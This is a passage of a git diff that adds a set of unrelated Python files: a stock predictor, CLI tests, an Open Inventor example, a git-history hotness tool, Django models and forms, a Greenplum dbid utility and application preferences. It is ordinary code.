price of a stock by extrapolating the moving average and its growth. + + Parameters + ---------- + stock : :obj:`stock` + Stock to be predicted. + s : int + Number of data points used to calculate a moving average. + + Returns + ------- + int + Predicted next price of the stock + + + Notes + _____ + The moving average lags behind by n/2 + 0.5 periods when not centered around the mean. + + """ + stockPriceHistory = len(stock.price_history) + if stockPriceHistory < s+1: + return None + else: + ma = sum(stock.price_history[-s:]) / s + growth = ma - sum(stock.price_history[-s-1:-1]) / s + predicted = ma + (s/2+0.5)*growth + if predicted > 0: + return predicted + else: + return 0 + + diff --git a/pool/shard008/Python/0078231_test_cli_edit.py b/pool/shard008/Python/0078231_test_cli_edit.py new file mode 100644 index 0000000000000000000000000000000000000000..e9b09f1c0f818bfac6ca9270a8f530de82cc48c0 --- /dev/null +++ b/pool/shard008/Python/0078231_test_cli_edit.py @@ -0,0 +1,60 @@ +from unittest import mock +import cumtest + + +class TestCLIEdit(cumtest.CumCLITest): + FOLLOW = {'url': ('https://manga.madokami.al/Manga/M/MO/MOLE/' + 'Molester%20Man'), + 'alias': 'molester-man', 'name': 'Molester Man'} + + def setUp(self): + super().setUp() + series = self.create_mock_series(**TestCLIEdit.FOLLOW) + series.follow() + + def test_edit_alias(self): + ALIAS_NEW = 'molester' + MESSAGE = 'Changed alias for molester-man to molester' + + args = ('edit', TestCLIEdit.FOLLOW['alias'], 'alias', ALIAS_NEW) + result = self.invoke(*args) + self.assertEqual(result.exit_code, 0) + self.assertIn(MESSAGE, result.output) + + series = self.db.session.query(self.db.Series).get(1) + self.assertEqual(series.alias, ALIAS_NEW) + + def test_edit_alias_illegal_value_none(self): + ALIAS_NEW = 'none' + MESSAGE = 'Illegal value none' + + args = ('edit', TestCLIEdit.FOLLOW['alias'], 'alias', ALIAS_NEW) + result = self.invoke(*args) + + args = ('edit', TestCLIEdit.FOLLOW['alias'], 'alias', ALIAS_NEW) + result = self.invoke(*args) + self.assertEqual(result.exit_code, 1) + self.assertIn(MESSAGE, result.output) + + series = self.db.session.query(self.db.Series).get(1) + self.assertEqual(series.alias, TestCLIEdit.FOLLOW['alias']) + + def test_edit_directory(self): + DIR_NEW = 'molesterdir' + MESSAGE = 'Changed directory for molester-man to molesterdir' + + args = ('edit', TestCLIEdit.FOLLOW['alias'], 'directory', DIR_NEW) + result = self.invoke(*args) + self.assertEqual(result.exit_code, 0) + self.assertIn(MESSAGE, result.output) + + series = self.db.session.query(self.db.Series).get(1) + self.assertEqual(series.directory, DIR_NEW) + + def test_edit_invalid_setting(self): + MESSAGE = 'Invalid setting rating' + + args = ('edit', TestCLIEdit.FOLLOW['alias'], 'rating', '10/10') + result = self.invoke(*args) + self.assertEqual(result.exit_code, 1) + self.assertIn(MESSAGE, result.output) diff --git a/pool/shard008/Python/0078235_09.4.PickAction.py b/pool/shard008/Python/0078235_09.4.PickAction.py new file mode 100644 index 0000000000000000000000000000000000000000..ed4c2799fab2a3e81e65e7a205998fee6016a54f --- /dev/null +++ b/pool/shard008/Python/0078235_09.4.PickAction.py @@ -0,0 +1,131 @@ +#!/usr/bin/env python + +### +# Copyright (c) 2002-2007 Systems in Motion +# +# Permission to use, copy, modify, and distribute this software for any +# purpose with or without fee is hereby granted, provided that the above +# copyright notice and this permission notice appear in all copies. +# +# THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES +# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF +# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR +# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES +# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN +# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF +# OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. +# + +### +# This is an example from The Inventor Mentor, +# chapter 9, example 4. +# +# Example of setting up pick actions and using the pick path. +# A couple of objects are displayed. The program catches +# mouse button events and determines the mouse position. +# A pick action is applied and if an object is picked the +# pick path is printed to stdout. +# + +import sys + +from pivy.coin import * +from pivy.sogui import * + +############################################################### +# CODE FOR The Inventor Mentor STARTS HERE + +def writePickedPath(root, viewport, cursorPosition): + myPickAction = SoRayPickAction(viewport) + + # Set an 8-pixel wide region around the pixel + myPickAction.setPoint(cursorPosition) + myPickAction.setRadius(8.0) + + # Start a pick traversal + myPickAction.apply(root) + myPickedPoint = myPickAction.getPickedPoint() + if myPickedPoint == None: return FALSE + + # Write out the path to the picked object + myWriteAction = SoWriteAction() + myWriteAction.apply(myPickedPoint.getPath()) + + return TRUE + +# CODE FOR The Inventor Mentor ENDS HERE +############################################################### + +# This routine is called for every mouse button event. +def myMousePressCB(userData, eventCB): + root = userData + event = eventCB.getEvent() + + # Check for mouse button being pressed + if SoMouseButtonEvent.isButtonPressEvent(event, SoMouseButtonEvent.ANY): + myRegion = eventCB.getAction().getViewportRegion() + writePickedPath(root, myRegion, event.getPosition(myRegion)) + eventCB.setHandled() + +def main(): + myMouseEvent = SoMouseButtonEvent() + + # Initialize Inventor and Qt + myWindow = SoGui.init(sys.argv[0]) + if myWindow == None: + sys.exit(1) + + root = SoSeparator() + + # Add an event callback to catch mouse button presses. + # The callback is set up later on. + myEventCB = SoEventCallback() + root.addChild(myEventCB) + + # Read object data from a file + mySceneInput = SoInput() + if not mySceneInput.openFile("star.iv"): + sys.exit(1) + starObject = SoDB.readAll(mySceneInput) + if starObject == None: sys.exit(1) + mySceneInput.closeFile() + + # Add two copies of the star object, one white and one red + myRotation = SoRotationXYZ() + myRotation.axis = SoRotationXYZ.X + myRotation.angle = M_PI/2.2 # almost 90 degrees + root.addChild(myRotation) + + root.addChild(starObject) # first star object + + myMaterial = SoMaterial() + myMaterial.diffuseColor = (1.0, 0.0, 0.0) # red + root.addChild(myMaterial) + myTranslation = SoTranslation() + myTranslation.translation = (1.0, 0.0, 1.0) + root.addChild(myTranslation) + root.addChild(starObject) # second star object + + # Create a render area in which to see our scene graph. + myViewer = SoGuiExaminerViewer(myWindow) + + # Turn off viewing to allow picking + myViewer.setViewing(0) + + myViewer.setSceneGraph(root) + myViewer.setTitle("Pick Actions & Paths") + myViewer.show() + + # Set up the event callback. We want to pass the root of the + # entire scene graph (including the camera) as the userData, + # so we get the scene manager's version of the scene graph + # root. + myEventCB.addEventCallback(SoMouseButtonEvent.getClassTypeId(), + myMousePressCB, + myViewer.getSceneManager().getSceneGraph()) + + SoGui.show(myWindow) + SoGui.mainLoop() + +if __name__ == "__main__": + main() diff --git a/pool/shard008/Python/0078238_init__.py b/pool/shard008/Python/0078238_init__.py new file mode 100644 index 0000000000000000000000000000000000000000..78df7acd20aeac7d73b59749e047407789da2b11 --- /dev/null +++ b/pool/shard008/Python/0078238_init__.py @@ -0,0 +1,133 @@ +import argparse +import collections +import subprocess + +DESCRIPTION = """Process a git repo's history and list out all the files in +order of their hotness. + +Hotness is the number of lines that have been modified. This count excludes +changes due to creation/deletion of entire files. E.g. if a file is created +with 10 lines then 5 more are added, the hotness will be 5.""" + +def calculate_hotness(path, since=None, until=None): + """ + Calculates the hotness of the git repo at the given (git) path. + + since and until are dates that will be passed through to git log without + change. + + The return value will be a dictionary of paths to hotness (number of times + modified). + """ + log = _get_git_log(path, since=since, until=until) + commits = _group_into_commits(log) + # Process commits in reverse order so that deleted files are ignored. + commits = reversed(list(commits)) + changes = [_parse_commit_change_size(commit) for commit in commits] + totals = _combine_changes(changes) + return totals + +def _get_git_log(path, since, until): + """ + Gets the git log at the given path. + """ + args = ['git', 'log', '--summary', '--numstat', '--format=format:'] + if since: + args.append('--since=%s' % since) + if until: + args.append('--until=%s' % until) + if path: + args.append(path) + p = subprocess.Popen(args, stdout=subprocess.PIPE) + out = [line.rstrip() for line in p.stdout] + p.wait() + if p.returncode != 0: + raise Exception('Git failed') + return out + +def _group_into_commits(log): + commit = None + for line in log: + if not line: + if commit: + yield commit + commit = [] + else: + commit.append(line) + if commit: + yield commit + +def _parse_commit_change_size(commit): + """ + Parses git's change stat format: + 5 10 blah.py + Indicates 5 new lines, 10 removed lines in blah.py + + This will exclude any changes due to creation. + + If a file has been deleted it will be returned with a value of -1. + """ + result = {} + for line in commit: + if line.startswith(' delete'): + path = line.split(' ', 4)[-1] + result[path] = -1 + elif line.startswith(' create'): + path = line.split(' ', 4)[-1] + if path in result: + del result[path] + elif line.startswith(' mode'): + continue + else: + try: + incr, decr, path = line.split('\t') + except ValueError: + print '\n'.join(commit) + raise + # binary files are specified as - - instead of number differences + if incr == '-' or decr == '-': + continue + result[path] = int(incr) + int(decr) + return result + +def _combine_changes(commits): + result = collections.defaultdict(int) + for commit in commits: + for path, value in commit.iteritems(): + if value == -1: + if path in result: + del result[path] + else: + result[path] += value + return result + +def _process_args(): + parser = argparse.ArgumentParser(description=DESCRIPTION) + parser.add_argument('-path', + help='path to the git repo') + parser.add_argument('--since', + help='date to limit commits from') + parser.add_argument('--until', + help='date to limit commits until') + parser.add_argument('-n', type=int, default=20, + help='number of results to output. Specifying 0 will output all.' + + ' Default 20') + return parser.parse_args() + +def _main(): + """ + Entry point when run on the console. + """ + args = _process_args() + + hotness = calculate_hotness( + args.path or '', + since=args.since, until=args.until) + hotness = sorted(hotness.iteritems(), reverse=True, key=lambda item: item[1]) + if args.n: + hotness = hotness[:args.n] + for path, value in hotness: + print path, '\t', value + +if __name__ == '__main__': + _main() diff --git a/pool/shard008/Python/0078244_install-to-dir.py b/pool/shard008/Python/0078244_install-to-dir.py new file mode 100644 index 0000000000000000000000000000000000000000..03f843f1738e43fee2b36c4b644acba910dfb176 --- /dev/null +++ b/pool/shard008/Python/0078244_install-to-dir.py @@ -0,0 +1,15 @@ +#!/usr/bin/env python3 + +import os +import shutil +import sys +from pathlib import Path + +source_file = sys.argv[1] +dest_file = sys.argv[2] +prefix = os.environ.get('MESON_INSTALL_DESTDIR_PREFIX', '/usr/local') + +dest_prefixed_file = Path(os.path.join(prefix, dest_file)) +dest_prefixed_file.parent.mkdir(parents=True, exist_ok=True) +print ('Installing ' + source_file + ' to ' + dest_file) +shutil.copy2(source_file, dest_prefixed_file) diff --git a/pool/shard008/Python/0078246_0001_initial.py b/pool/shard008/Python/0078246_0001_initial.py new file mode 100644 index 0000000000000000000000000000000000000000..76bf5496c6a6f84935a2e4b0a466bf99c9e75988 --- /dev/null +++ b/pool/shard008/Python/0078246_0001_initial.py @@ -0,0 +1,30 @@ +# -*- coding: utf-8 -*- +from __future__ import unicode_literals + +from django.db import migrations, models + + +class Migration(migrations.Migration): + + dependencies = [ + ] + + operations = [ + migrations.CreateModel( + name='Article', + fields=[ + ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)), + ('title', models.CharField(max_length=200)), + ('content', models.TextField()), + ('add_date', models.DateTimeField(verbose_name=b'date added')), + ], + ), + migrations.CreateModel( + name='Tag', + fields=[ + ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)), + ('text', models.CharField(max_length=50)), + ('article', models.ManyToManyField(to='blogging.Article')), + ], + ), + ] diff --git a/pool/shard008/Python/0078248_common.py b/pool/shard008/Python/0078248_common.py new file mode 100644 index 0000000000000000000000000000000000000000..bcc220cb732a3be66b15f15b35771b2d4c3c3e32 --- /dev/null +++ b/pool/shard008/Python/0078248_common.py @@ -0,0 +1,32 @@ +import sys + +from pytest import mark + +skip_windows = mark.skipif( + sys.platform == 'win32', reason='Not supported on windows' +) +skip_windows_port_reuse = mark.skipif( + sys.platform == 'win32', reason='Windows allows port reuse' +) +skip_windows_any_port = mark.skipif( + sys.platform == 'win32', + reason='Windows allows binding to well-known ports', +) +skip_windows_spawn = mark.skipif( + sys.platform == 'win32', reason='Windows does not support fork' +) +skip_windows_ipc = mark.skipif( + sys.platform == 'win32', reason='Windows does not support IPC' +) + + +def append_received(agent, message, topic=None): + agent.received.append(message) + + +def set_received(agent, message, topic=None): + agent.received = message + + +def echo_handler(agent, message): + return message diff --git a/pool/shard008/Python/0078253_lattice.py b/pool/shard008/Python/0078253_lattice.py new file mode 100644 index 0000000000000000000000000000000000000000..07c0db8602f8d85a59556e7e702f024ab5ca70a6 --- /dev/null +++ b/pool/shard008/Python/0078253_lattice.py @@ -0,0 +1,81 @@ +# Copyright 2011 Nicholas Bray +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +import util.graphalgorithim.basic + +# Based on the paper: +# Efficient Implementation of Lattice Operations +# HASSAN AIT-KACI, ROBERT BOYER, PATRICK LINCOLN, and ROGER NASR + +class Lattice(object): + def __init__(self, G, head): + self.G = G + self.head = head + + rG = util.graphalgorithim.basic.reverseDirectedGraph(G) + + pending = set((self.head,)) + processed = set() + + self.encoding = {} + self.decoding = {} + + p = 0 + + # Just do reverse post order? + while pending: + current = pending.pop() + processed.add(current) + + + encoding = reduce(lambda a, b: a|b, [self.encoding[child] for child in rG.get(current, ())], 0) + + if encoding in self.decoding: + encoding |= 2**p + p += 1 + + self.encoding[current] = encoding + self.decoding[encoding] = current + + + print current, ' - ', "%x" % encoding + + for child in G.get(current, ()): + if processed.issuperset(rG.get(child, ())): + pending.add(child) + + + def decode(self, code): + if code in self.decoding: + return (self.decoding[code],) + else: + assert False + + def lub(self, inital, *args): + current = self.encoding[inital] + for arg in args: + current |= self.encoding[arg] + + print "LUB %x" % current + + return self.decode(current) + + def glb(self, inital, *args): + current = self.encoding[inital] + for arg in args: + current &= self.encoding[arg] + + print "GLB %r, %s - %x" % (inital, ", ".join([repr(arg) for arg in args]), current) + + return self.decode(current) diff --git a/pool/shard008/Python/0078258_netspeak.py b/pool/shard008/Python/0078258_netspeak.py new file mode 100644 index 0000000000000000000000000000000000000000..ea31a03a89048193bd85622218685138d55be5a7 --- /dev/null +++ b/pool/shard008/Python/0078258_netspeak.py @@ -0,0 +1,78 @@ +#!/usr/bin/env python3 +""" + Api Wrapper for netspeak queries + + Copyright 2015-today + + Author: Steve Göring + Contact: stg7@gmx.de +""" + +import sys +import os +import argparse +import json + +sys.path.insert(0, os.path.dirname(__file__) + '/..') +from webutils import CachedRequester +from webutils import lInfo + + +class Netspeak(CachedRequester): + _baseurl = "http://api.netspeak.org/netspeak3/search?" + + def get_by_query(self, query): + """ + netspeak3 api documentation: http://www.netspeak.org/#developer + + a query can have operators: + + query="a house*" : Matches zero or more words. + query="a #house" : Finds matches using the following word and each of its synonyms in turn. + query="a ?house" : Matches exactly one word. + query="a [house, car]" : Finds matches using each word in turn, including the empty word. Nesting of operators is not allowed. + query="a {house, car}" : Finds matches of each permutation of the enclosed words. Nesting of operators is not allowed. + """ + if query is None: + return [] + return self._request(params={"query": query, "format": "json"}) + + def __get_realted_by_query(self, query): + if query == "" or query == None: + return [] + query = "*" + "*".join(query.split()) + "*" + result = self.get_by_query(query) + # parse result and tidy up, all unneeded things were removed + res_tidy = [] + for k in result.keys(): + if isinstance(result[k], list): + for kk in result[k]: + if isinstance(kk, dict): + res = "" + for kkk in kk: + if isinstance(kk[kkk], list): + for w in kk[kkk]: + if w["2"] != "": + res += " " + w["2"] + res_tidy.append(res.strip()) + return res_tidy + + def get_related(self, query, entity="", mid=""): + res = self.__get_realted_by_query(query) + self.__get_realted_by_query(entity) + return list(set([x.replace(".","").replace(",","").replace(" "," ").strip() for x in res])) + + +def main(params): + + netspeak = Netspeak() + + lInfo("ok") + entity = "bathroom".lower() + query = "choose bathroom".lower() + + res = netspeak.get_related(query) + lInfo(json.dumps(res, indent=4, sort_keys=True)) + + +if __name__ == "__main__": + main(sys.argv[1:]) diff --git a/pool/shard008/Python/0078260_gp_dbid.py b/pool/shard008/Python/0078260_gp_dbid.py new file mode 100644 index 0000000000000000000000000000000000000000..d8ae8fef570e01491cafed3182ed741fbae76a95 --- /dev/null +++ b/pool/shard008/Python/0078260_gp_dbid.py @@ -0,0 +1,159 @@ +#!/usr/bin/env python +# Line too long - pylint: disable=C0301 +# Invalid name - pylint: disable=C0103 + +""" + gp_dbid.py + Copyright (c) EMC/Greenplum Inc 2011. All Rights Reserved. +""" + +import re +import os, stat + +class DummyLogger: + def info(self, msg): pass + def debug(self, msg): pass + +DBID_RE = re.compile(r"dbid\s*=\s*(\d+)") +STANDBY_DBID_RE = re.compile(r"standby_dbid\s*=\s*(\d+)") + +class GpDbidFile: + """ + Used by gpstart, gpinitstandby, gpactivatestandby and indirectly + by gpmigrator via gpsetdbid.py to manage the gp_dbid file. + """ + + def __init__(self, datadir, do_read=False, logger=None): + """ + Initialize path to gp_dbid file and reset values. + Log subsequent activity using specified logger and + if do_read is True, immediately attempt to read values. + """ + self.datadir = datadir + self.logger = logger or DummyLogger() + self.filepath = os.path.join(self.datadir, 'gp_dbid') + self.dbid = None + self.standby_dbid = None + + if do_read: + self.read_gp_dbid() + + + def read_gp_dbid(self): + """ + Open the gp_dbid file and parse its contents. + """ + INFO = self.logger.info + INFO('Reading the gp_dbid file - %s...' % self.filepath) + + with open(self.filepath) as f: + self.parse(f) + + + def parse(self, f): + """ + Parse f, looking for matching dbid and standby_dbid expressions and + ignoring all other lines. Assigns dbid and/or standby_dbid to observed + values, converting matched values from strings to integers. + """ + INFO = self.logger.info + DEBUG = self.logger.debug + + self.dbid = None + self.standby_dbid = None + for line in f: + line = line.strip() + DEBUG('Parsing : %s ...' % line) + + m = re.match(DBID_RE, line) + if m: + self.dbid = int(m.group(1)) + INFO('Found match for dbid: %d.' % self.dbid) + + m = re.match(STANDBY_DBID_RE, line) + if m: + self.standby_dbid = int(m.group(1)) + INFO('Found match for standby_dbid: %d.' % self.standby_dbid) + + assert self.dbid is not None + + + def format(self, f): + """ + Generate gp_dbid contents based on dbid and standby_dbid values + """ + INFO = self.logger.info + + f.write("# Greenplum Database identifier for this master/segment.\n") + f.write("# Do not change the contents of this file.\n") + f.write('dbid = %d\n' % self.dbid) + INFO('Wrote dbid: %d to the file.' % self.dbid) + + if self.standby_dbid: + f.write('standby_dbid = %d\n' % self.standby_dbid) + INFO('Wrote standby_dbid: %d to the file.' % self.standby_dbid) + + + def write_gp_dbid(self): + """ + Create or replace gp_dbid file with current values, changing + permissions of the new file when done and verifying by re-reading + the file contents and checking the values read match desired values + """ + INFO = self.logger.info + INFO('Writing the gp_dbid file - %s...' % self.filepath) + + if os.path.exists(self.filepath): + INFO('But found an already existing file.') + + os.remove(self.filepath) + INFO('Hence removed that existing file.') + + INFO('Creating a new file...') + with open(self.filepath, 'w') as f: + self.format(f) + + INFO('Now marking it as read only...') + os.chmod(self.filepath, stat.S_IRUSR) # user read permissions (0400) + + INFO('Verifying the file...') + v = GpDbidFile(self.datadir, do_read=True) + assert self.dbid == v.dbid + assert self.standby_dbid == v.standby_dbid + + +def writeGpDbidFile(directory, dbid, logger=None): + """ + Writes the gp_dbid file to the given directory, marking it as for the given dbid. + This method may be deprecating. See comments in CR-2806. + """ + d = GpDbidFile(directory, logger=logger) + d.dbid = dbid + d.write_gp_dbid() + + + + +# +# trivial unit test +# +if __name__ == '__main__': + import copy, shutil + import unittest2 as unittest + + TESTDIR = 'test_gp_dbid1' + + class MyTestCase(unittest.TestCase): + def test1(self): + d = GpDbidFile(TESTDIR) + d2 = copy.copy(d) + d.dbid = 10 + d.write_gp_dbid() + d2.read_gp_dbid() + assert d.dbid == d2.dbid + assert d.standby_dbid == d2.standby_dbid + + if os.path.exists(TESTDIR): shutil.rmtree(TESTDIR) + os.mkdir(TESTDIR) + unittest.main() + shutil.rmtree(TESTDIR) diff --git a/pool/shard008/Python/0078262_preferences.py b/pool/shard008/Python/0078262_preferences.py new file mode 100644 index 0000000000000000000000000000000000000000..e99e0d9bd35c4d615cae633ec367779b633cfe5a --- /dev/null +++ b/pool/shard008/Python/0078262_preferences.py @@ -0,0 +1,148 @@ +# Copyright 2016 Hardcoded Software (http://www.hardcoded.net) +# +# This software is licensed under the "GPLv3" License as described in the "LICENSE" file, +# which should be included with this package. The terms are also available at +# http://www.gnu.org/licenses/gpl-3.0.html + +from PyQt5.QtWidgets import QApplication + +from hscommon import trans +from core.app import AppMode +from core.scanner import ScanType +from qtlib.preferences import Preferences as PreferencesBase + + +class Preferences(PreferencesBase): + def _load_values(self, settings): + get = self.get_value + self.filter_hardness = get("FilterHardness", self.filter_hardness) + self.mix_file_kind = get("MixFileKind", self.mix_file_kind) + self.ignore_hardlink_matches = get( + "IgnoreHardlinkMatches", self.ignore_hardlink_matches + ) + self.use_regexp = get("UseRegexp", self.use_regexp) + self.remove_empty_folders = get("RemoveEmptyFolders", self.remove_empty_folders) + self.debug_mode = get("DebugMode", self.debug_mode) + self.destination_type = get("DestinationType", self.destination_type) + self.custom_command = get("CustomCommand", self.custom_command) + self.language = get("Language", self.language) + if not self.language and trans.installed_lang: + self.language = trans.installed_lang + + self.tableFontSize = get("TableFontSize", self.tableFontSize) + self.reference_bold_font = get('ReferenceBoldFont', self.reference_bold_font) + self.resultWindowIsMaximized = get( + "ResultWindowIsMaximized", self.resultWindowIsMaximized + ) + self.resultWindowRect = self.get_rect("ResultWindowRect", self.resultWindowRect) + self.mainWindowIsMaximized = get( + "MainWindowIsMaximized", self.mainWindowIsMaximized + ) + self.mainWindowRect = self.get_rect("MainWindowRect", self.mainWindowRect) + self.directoriesWindowRect = self.get_rect( + "DirectoriesWindowRect", self.directoriesWindowRect + ) + + self.recentResults = get("RecentResults", self.recentResults) + self.recentFolders = get("RecentFolders", self.recentFolders) + self.tabs_default_pos = get("TabsDefaultPosition", self.tabs_default_pos) + self.word_weighting = get("WordWeighting", self.word_weighting) + self.match_similar = get("MatchSimilar", self.match_similar) + self.ignore_small_files = get("IgnoreSmallFiles", self.ignore_small_files) + self.small_file_threshold = get("SmallFileThreshold", self.small_file_threshold) + self.scan_tag_track = get("ScanTagTrack", self.scan_tag_track) + self.scan_tag_artist = get("ScanTagArtist", self.scan_tag_artist) + self.scan_tag_album = get("ScanTagAlbum", self.scan_tag_album) + self.scan_tag_title = get("ScanTagTitle", self.scan_tag_title) + self.scan_tag_genre = get("ScanTagGenre", self.scan_tag_genre) + self.scan_tag_year = get("ScanTagYear", self.scan_tag_year) + self.match_scaled = get("MatchScaled", self.match_scaled) + self.picture_cache_type = get("PictureCacheType", self.picture_cache_type) + + def reset(self): + self.filter_hardness = 95 + self.mix_file_kind = True + self.use_regexp = False + self.ignore_hardlink_matches = False + self.remove_empty_folders = False + self.debug_mode = False + self.destination_type = 1 + self.custom_command = "" + self.language = trans.installed_lang if trans.installed_lang else "" + + self.tableFontSize = QApplication.font().pointSize() + self.reference_bold_font = True + self.resultWindowIsMaximized = False + self.resultWindowRect = None + self.directoriesWindowRect = None + self.mainWindowRect = None + self.mainWindowIsMaximized = False + self.recentResults = [] + self.recentFolders = [] + + self.tabs_default_pos = True + self.word_weighting = True + self.match_similar = False + self.ignore_small_files = True + self.small_file_threshold = 10 # KB + self.scan_tag_track = False + self.scan_tag_artist = True + self.scan_tag_album = True + self.scan_tag_title = True + self.scan_tag_genre = False + self.scan_tag_year = False + self.match_scaled = False + self.picture_cache_type = "sqlite" + + def _save_values(self, settings): + set_ = self.set_value + set_("FilterHardness", self.filter_hardness) + set_("MixFileKind", self.mix_file_kind) + set_("IgnoreHardlinkMatches", self.ignore_hardlink_matches) + set_("UseRegexp", self.use_regexp) + set_("RemoveEmptyFolders", self.remove_empty_folders) + set_("DebugMode", self.debug_mode) + set_("DestinationType", self.destination_type) + set_("CustomCommand", self.custom_command) + set_("Language", self.language) + + set_("TableFontSize", self.tableFontSize) + set_('ReferenceBoldFont', self.reference_bold_font) + set_("ResultWindowIsMaximized", self.resultWindowIsMaximized) + set_("MainWindowIsMaximized", self.mainWindowIsMaximized) + self.set_rect("ResultWindowRect", self.resultWindowRect) + self.set_rect("MainWindowRect", self.mainWindowRect) + self.set_rect("DirectoriesWindowRect", self.directoriesWindowRect) + set_("RecentResults", self.recentResults) + set_("RecentFolders", self.recentFolders) + + set_("TabsDefaultPosition", self.tabs_default_pos) + set_("WordWeighting", self.word_weighting) + set_("MatchSimilar", self.match_similar) + set_("IgnoreSmallFiles", self.ignore_small_files) + set_("SmallFileThreshold", self.small_file_threshold) + set_("ScanTagTrack", self.scan_tag_track) + set_("ScanTagArtist", self.scan_tag_artist) + set_("ScanTagAlbum", self.scan_tag_album) + set_("ScanTagTitle", self.scan_tag_title) + set_("ScanTagGenre", self.scan_tag_genre) + set_("ScanTagYear", self.scan_tag_year) + set_("MatchScaled", self.match_scaled) + set_("PictureCacheType", self.picture_cache_type) + + # scan_type is special because we save it immediately when we set it. + def get_scan_type(self, app_mode): + if app_mode == AppMode.Picture: + return self.get_value("ScanTypePicture", ScanType.FuzzyBlock) + elif app_mode == AppMode.Music: + return self.get_value("ScanTypeMusic", ScanType.Tag) + else: + return self.get_value("ScanTypeStandard", ScanType.Contents) + + def set_scan_type(self, app_mode, value): + if app_mode == AppMode.Picture: + self.set_value("ScanTypePicture", value) + elif app_mode == AppMode.Music: + self.set_value("ScanTypeMusic", value) + else: + self.set_value("ScanTypeStandard", value) diff --git a/pool/shard008/Python/0078263_compare_configs_test.py b/pool/shard008/Python/0078263_compare_configs_test.py new file mode 100644 index 0000000000000000000000000000000000000000..756af6615649506c414c016d87a5e61c955d1c78 --- /dev/null +++ b/pool/shard008/Python/0078263_compare_configs_test.py @@ -0,0 +1,57 @@ +#!/usr/bin/python + +""" +Copyright 2014 Google Inc. + +Use of this source code is governed by a BSD-style license that can be +found in the LICENSE file. + +Test compare_configs.py + +TODO(epoger): Create a command to update the expected results (in +self._output_dir_expected) when appropriate. For now, you should: +1. examine the results in self._output_dir_actual and make sure they are ok +2. rm -rf self._output_dir_expected +3. mv self._output_dir_actual self._output_dir_expected +Although, if you're using an SVN checkout, this will blow away .svn directories +within self._output_dir_expected, which wouldn't be good... + +""" + +import os +import sys + +# Imports from within Skia +import base_unittest +import compare_configs +import results +import gm_json # must import results first, so that gm_json will be in sys.path + + +class CompareConfigsTest(base_unittest.TestCase): + + def test_gm(self): + """Process results of a GM run with the ConfigComparisons object.""" + results_obj = compare_configs.ConfigComparisons( + configs=('8888', 'gpu'), + actuals_root=os.path.join(self._input_dir, 'gm-actuals'), + generated_images_root=self._temp_dir, + diff_base_url='/static/generated-images') + results_obj.get_timestamp = mock_get_timestamp + gm_json.WriteToFile( + results_obj.get_packaged_results_of_type( + results.KEY__HEADER__RESULTS_ALL), + os.path.join(self._output_dir_actual, 'gm.json')) + + +def mock_get_timestamp(): + """Mock version of BaseComparisons.get_timestamp() for testing.""" + return 12345678 + + +def main(): + base_unittest.main(CompareConfigsTest) + + +if __name__ == '__main__': + main() diff --git a/pool/shard008/Python/0078270_baskets.py b/pool/shard008/Python/0078270_baskets.py new file mode 100644 index 0000000000000000000000000000000000000000..c20f5e9df087b07edc76fb8be44c5f34380a65a5 --- /dev/null +++ b/pool/shard008/Python/0078270_baskets.py @@ -0,0 +1,144 @@ +# coding: utf-8 +from django import forms +from django.utils.translation import ugettext as _ + +from crispy_forms.helper import FormHelper +from crispy_forms.layout import Layout, Div, Submit, HTML, Button, Row, Field +from crispy_forms.bootstrap import AppendedText, PrependedText, FormActions + +from erp_test.models import Basket, Rack, Server +from erp_test.exceptions import BasketIsFilled, BasketSlotIsBusy + + +class BasketForm(forms.ModelForm): + + helper = FormHelper() + helper.form_class = 'form-horizontal' + helper.layout = Layout( + Div( + Div('name'), + css_class='row-fluid' + ), + Div( + Div('slot_qty'), + css_class='row-fluid' + ), + Div( + Div('unit_takes'), + css_class='row-fluid' + ), + + FormActions( + Submit('save_changes', _('Save changes'), css_class="btn-primary"), + Submit('cancel', 'Cancel'), + ) + ) + + class Meta: + model = Basket + fields = ('name', 'slot_qty', 'unit_takes') + + +class BasketRackForm(forms.Form): + + rack = forms.ChoiceField( + choices=[('', 'Choose a rack')], + required=True, + help_text='displayed only racks with enough gap for the basket') + position = forms.IntegerField( + required=False, + min_value=1) + + def __init__(self, *args, **kwargs): + self.basket = kwargs.pop('basket', None) + super(BasketRackForm, self).__init__(*args, **kwargs) + if self.basket: + racks = Rack.objects.with_fullness('has_empty_height', self.basket.get_height()) + if self.basket.rack: + racks = list(racks.exclude(id=self.basket.rack.pk)) + racks.insert(0, self.basket.rack) + self.fields['rack'].choices += [ + (r.id, r.get_name()) + for r in racks + ] + + self.helper = FormHelper() + self.helper.form_tag = False + self.helper.form_class = 'form-horizontal' + self.helper.layout = Layout( + Div( + Div('rack'), + css_class='row-fluid' + ), + Div( + Div('position'), + css_class='row-fluid' + ), + + FormActions( + Submit('save_changes', _('Save changes'), css_class="btn-primary"), + Submit('cancel', 'Cancel'), + ) + ) + + +class BasketServerForm(forms.Form): + + server = forms.ChoiceField( + choices=[('', 'Choose a server')], + required=True, + help_text='displayed only uninstalled servers') + position = forms.IntegerField( + required=False, + min_value=1) + + def __init__(self, *args, **kwargs): + self.basket = kwargs.pop('basket', None) + self.server = kwargs.pop('server', None) + super(BasketServerForm, self).__init__(*args, **kwargs) + + servers = Server.objects.uninstalled() + if self.server: + servers = list(servers.exclude(id=self.server.pk)) + servers.insert(0, self.server) + self.fields['server'].choices += [ + (s.id, s.get_name()) + for s in servers + ] + + self.helper = FormHelper() + self.helper.form_tag = False + self.helper.form_class = 'form-horizontal' + self.helper.layout = Layout( + Div( + Div('server'), + 